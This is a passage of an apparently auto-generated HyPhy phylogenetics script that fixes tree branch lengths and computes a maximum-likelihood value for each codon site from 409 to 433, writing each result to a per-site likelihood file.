assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "409\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 410...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1227,1228,1229", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 410");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "410\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 411...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1230,1231,1232", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 411");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "411\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 412...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1233,1234,1235", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 412");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "412\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 413...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1236,1237,1238", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 413");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "413\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 414...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1239,1240,1241", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 414");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "414\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 415...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1242,1243,1244", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 415");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "415\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 416...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1245,1246,1247", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 416");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "416\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 417...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1248,1249,1250", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 417");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "417\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 418...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1251,1252,1253", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 418");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "418\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 419...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1254,1255,1256", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 419");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "419\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 420...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1257,1258,1259", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 420");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "420\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 421...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1260,1261,1262", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 421");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "421\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 422...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1263,1264,1265", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 422");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "422\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 423...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1266,1267,1268", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 423");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "423\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 424...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1269,1270,1271", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 424");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "424\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 425...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1272,1273,1274", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 425");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "425\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 426...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1275,1276,1277", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 426");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "426\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 427...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1278,1279,1280", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 427");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "427\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 428...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1281,1282,1283", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 428");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "428\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 429...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1284,1285,1286", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 429");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "429\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 430...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1287,1288,1289", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 430");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "430\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 431...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1290,1291,1292", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 431");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "431\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 432...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1293,1294,1295", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 432");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "432\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 433...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1296,1297,1298", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 433");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
